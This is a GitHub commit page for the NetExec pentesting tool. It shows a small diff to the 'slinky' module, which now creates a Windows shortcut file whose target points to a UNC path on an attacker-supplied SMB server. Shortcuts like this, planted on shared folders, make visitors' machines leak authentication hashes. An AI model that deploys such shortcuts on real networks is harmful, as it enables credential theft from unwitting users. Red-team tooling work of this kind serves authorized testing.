Skip to content

Commit 858d211

Browse files
authored
Merge pull request Pennyw0rth#800 from Geetub/slinky_set_lnk_target
Slinky set lnk target
2 parents e99e5c2 + d6fcee6 commit 858d211

1 file changed

Lines changed: 2 additions & 3 deletions

File tree

nxc/modules/slinky.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -66,9 +66,8 @@ def options(self, context, module_options):
6666

6767
if not self.cleanup:
6868
self.server = module_options["SERVER"]
69-
link = pylnk3.create(self.local_lnk_path)
70-
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
71-
link.save()
69+
target_path = f"\\\\{self.server}\\share\\{self.lnk_name}.ico"
70+
pylnk3.for_file(target_path, self.local_lnk_path)
7271

7372
def on_login(self, context, connection):
7473
shares = connection.shares()

0 commit comments

Comments
 (0)